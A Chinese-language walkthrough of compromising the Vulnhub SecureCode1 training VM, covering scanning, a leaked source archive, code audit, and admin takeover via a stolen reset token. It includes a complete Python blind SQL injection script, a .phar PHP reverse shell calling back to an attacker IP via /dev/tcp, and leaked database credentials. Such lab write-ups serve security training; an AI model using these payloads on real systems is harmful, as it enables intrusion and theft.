【Vulnhub系列靶场】Vulnhub_SecureCode1靶场渗透

一、环境配置

1、从百度网盘下载对应靶机的.ova镜像

2、在VM中选择【打开】该.ova

image-20240209184001407

3、选择存储路径,并打开

image-20240209184019990

4、之后确认网络连接模式是否为【NAT】

二、信息收集

1、主机发现

image-20240207163539575

2、端口探测

1、快速粗略探测

image-20240207163617743

只发现80端口

2、进行精细化探测

image-20240207163652742

image-20240207163700245

仍然只有80端口

3、进行全扫描和漏洞探测

image-20240207163926406

一个Ubuntu 的Linux机器

image-20240207163842603

发现文件上传和SQL注入漏洞,是一个很好的开端

3、对web目录爆破

1
dirsearch.cmd -u http://192.168.31.61 -x 404,403	#过滤404,403响应

image-20240207164030015

4、web框架探测

image-20240207164250119

使用了Bootstrap 的前端开发框架和JQuery 库

三、获取shell立足点

1、查看敏感文件

1、robots.txt:提示禁止去/login/*,不允许访问login下的任何文件

image-20240207170232753

2、login目录:是一个登录页面

image-20240207170321419

3、查看其他目录提示无权限

image-20240207182037225

2、源代码文件泄露

1、对登录页面尝试SQL注入失败,几经周折无计可施

2、返回再进行信息收集,端口探测也并无其他端口开放,目录扫描也无其他结果

3、此时能用的有参数爆破,以及zip 等敏感文件的存在(还可以尝试子域名爆破,但由于是靶机且无域名存在,因此此路不通)

4、有include 目录的存在且发现include/header.php 文件在其他地方也经过了引用,可以联想到文件包含漏洞,通过对参数进行爆破

我们在kali 中用wfuzz 工具对包含了header.php 文件的login.php页面进行爆破,并无收获

1
wfuzz -w /usr/share/wfuzz/wordlist/general/big.txt --hw 113 http://192.168.31.61/login/login.php?FUZZ=

image-20240207190949073

5、检索zip 等敏感文件

我们用dirb 这个工具,对敏感后缀进行爆破

1
dirb http://192.168.31.61  -X .php,.html,.rar,.7zip,.tar.gz,.gz,.zip,.bak

image-20240207191226354

可以看到确实存在一个名为源代码的zip 文件

将其下载下来

1
curl http://192.168.31.61/source_code.zip --output source_code.zip

3、代码审计登录后台

解压该文件,发现存在一个.sql文件,莫不是数据库文件

image-20240207191629744

找到两个用户名和密码,用hashid 判别一下

image-20240207191943474

然后用john 进行爆破,没有结果

既然拿到了源代码,那就进行一波代码审计

image-20240208180111100

重点在这两个文件中

在doChangePassword.php 文件中,对token 进行了校验,然后可以进行密码修改的操作,这里应该是关键

image-20240208174200635

在 resetPassword.php文件中对token 进行了更新操作,那么我们拿到这个token 就可以对admin 的密码进行修改

image-20240208180435447

再往下看

image-20240208182452736

这里就是发送的邮件信息内容,在doChangePassword.php 后面加上token 的值去修改对应用户的密码

那么如何获取15位的token值,爆破难度太高,再查看源代码

image-20240208190642976

这个地方存在SQL注入的可能性很大,对/item/viewItem.php 文件进行查看

image-20240208191024191

如下,确认存在SQL注入

image-20240208191220609

进行数据爆破,这里我写了一个脚本根据响应值来进行SQL注入,可修进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
import requests

url = 'http://192.168.31.62/item/viewItem.php?id=1'

def column_data_name(column_data_len,User_table_name,User_column_name):
column_data_names = {}
column_one_name = ''
for i in range(0,len(column_data_len)): #i是第几个字段的值
for j in range(1,column_data_len[i]+1): #j是要爆破字段值的第几个字符
for n in range(0,126): #n是要爆破字段值的ascii码值
new_url = url + "%20and%20ascii(substr((select " + User_column_name + " from " + User_table_name + " limit "+ str(i) +",1)," + str(j) + ",1))=" + str(n)
if Response_judgment(new_url):
column_one_name += chr(n)
break
print('-----------------------------')
print(f"第{i}个字段的值为:{column_one_name}")
column_data_names[i] = column_one_name
column_one_name = ''
return column_data_names

def column_data_length(column_names,User_table_name,User_column_name):
column_data_len = {}
for i in range(0,10): #i是第几个字段的值,猜测10个数值
for j in range(1,20): #j是要爆破字段数值的长度,猜测该字段数值最大为20
new_url = url + "%20and%20length((select "+ User_column_name +" from "+ User_table_name +" limit "+ str(i) +",1))=" + str(j)
if Response_judgment(new_url):
column_data_len[i] = j
if i == 10:
print('已超过测试数值的最大值,请调整!!!')
break
return column_data_len

def column_name(column_len,User_table_name):
column_names = {}
column_one_name = ''
for i in range(0,len(column_len)): #i是第几个字段,len(column_len) 是字段的数量
for j in range(1,column_len[i]+1): #j是要爆破字段的第几个字符
for n in range(0,126): #n是要爆破字段名的ascii码值
new_url = url + "%20and%20ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=" + hex(int.from_bytes(User_table_name.encode(),'big')) + " limit "+ str(i) +",1)," + str(j) + ",1))=" + str(n)
if Response_judgment(new_url):
column_one_name += chr(n)
break
print(f"第{i}个字段的名称为:{column_one_name}")
column_names[i] = column_one_name
column_one_name = ''
return column_names

def column_length(User_table_name): #要查看的表名
column_len = {}
for i in range(0,10): #i是第几个字段,这里假设有10个字段
for j in range(1,30): #j是要爆破字段的长度,假设字段长度最长为20
new_url = url + "%20and%20length((select column_name from information_schema.columns where table_schema=database() and table_name="+ hex(int.from_bytes(User_table_name.encode(), 'big')) +" limit "+ str(i) +",1))=" + str(j)
if Response_judgment(new_url):
column_len[i] = j
if i == 10:
print('已超过测试字段数的最大值,请调整!!!')
break
return column_len

def table_name(table_len):
table_names = {}
table_one_name = ''
for i in range(0,len(table_len)): #i是第几张表,len(table_len)表示共有几张表
for j in range(1,table_len[i]+1): #j是要爆破表名第几个字符,到表的长度
for n in range(0,126): #n是要爆破表名的ascii码值
new_url = url + "%20and%20ascii(substr((select table_name from information_schema.tables where table_schema=database() limit " + str(i) + ",1)," + str(j) + ",1))=" + str(n)
if Response_judgment(new_url):
table_one_name += chr(n)
break
print(f"第{i}张表的名称为:{table_one_name}")
table_names[i] = table_one_name
table_one_name = ''
return table_names

def table_length():
table_len = {}
for i in range(0,10): #i是第几张表
for j in range(1,10): #j是要爆破表的长度
new_url = url + "%20and%20length((select table_name from information_schema.tables where table_schema=database() limit " + str(i) + ",1))=" + str(j)
if Response_judgment(new_url):
table_len[i] = j
break
return table_len

def database_name(database_len):
database_names = ''
for i in range(1,database_len + 1): #i是数据库的第几个字符
for j in range(0,126): #j是要爆破数据库名的ascii码值
new_url = url + "%20and%20ascii(substr(database()," + str(i) + ",1))=" + str(j)
if Response_judgment(new_url):
database_names += chr(j)
break
return database_names

def database_length():
for i in range(1,10): #假设数据库的长度在10以内
new_url = url + "%20and%20length(database())=" + str(i)
if Response_judgment(new_url):
return i
print('payload无效,请更替payload!!!')

def Response_judgment(new_url):
respone = requests.get(new_url)
if respone.status_code == 404:
return True
else:
return False

def main():
database_names = database_name(database_length()) #这里传入数据库的长度
print('-----------------------------')
print(f"数据库的名称为:{database_names}")
print('-----------------------------')
table_names = table_name(table_length()) #求表的名称,传入表的长度
print('-----------------------------')
print(f"所有表的名称为:{table_names}")
User_table_name = input('请输入要查看的表名:')
print('-----------------------------')
column_names = column_name(column_length(User_table_name),User_table_name) #求字段的名字,输入字段的长度
print('-----------------------------')
print(f"该表中所有字段的名称为:{column_names}")
User_column_name = input('请输入要查看的字段名:')
print('-----------------------------')
column_data_len = column_data_length(column_names,User_table_name,User_column_name) #求字段值的长度,传入字段的名称
column_data_names = column_data_name(column_data_len,User_table_name,User_column_name) #求字段的值
print('-----------------------------')
print(f"该字段中所有数值为:{column_data_names}")

if __name__ == '__main__':
main()

image-20240209161542518

拿到token,进入doChangePassword.php?token=iBWWtGgLTA8KqEa,之后修改admin 的密码,提示密码更改成功

image-20240209161258109

之后进行登录,成功登录后台

image-20240209161632922

4、获取shell立足点

1、在后台进行信息收集,发现flag1

image-20240209163602954

2、在添加材料的地方发现文件上传

image-20240209163746214

3、先上传一个phpinfo文件,发现有限制

image-20240209164006481

4、在源代码上看,是做了黑名单和mime 检测

image-20240209164347008

5、抓包绕过,黑名单中并没有phar后缀

我们上传一个.phar后缀的php反弹shell,并在本地进行监听,成功拿到shell

1
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.31.50/4444 0>&1'"); ?>

image-20240209171953541

四、提权root

1、查找敏感文件

1、在/var/www下找到flag2

image-20240209172416582

其中的legendary 让人很在意,尝试su 到普通用户 secure

1
2
shell=/bin/bash script -q /dev/null
su secure

image-20240209172544562

失败了

2、connection.php文件

看到数据库的账号密码:hackshop:hackshopuniquepassword

image-20240209172719676

是否满足数据库提权呢?mysql版本大于5.7,不能进行数据库提权

image-20240209173207183

2、提权root

此靶机无需root提权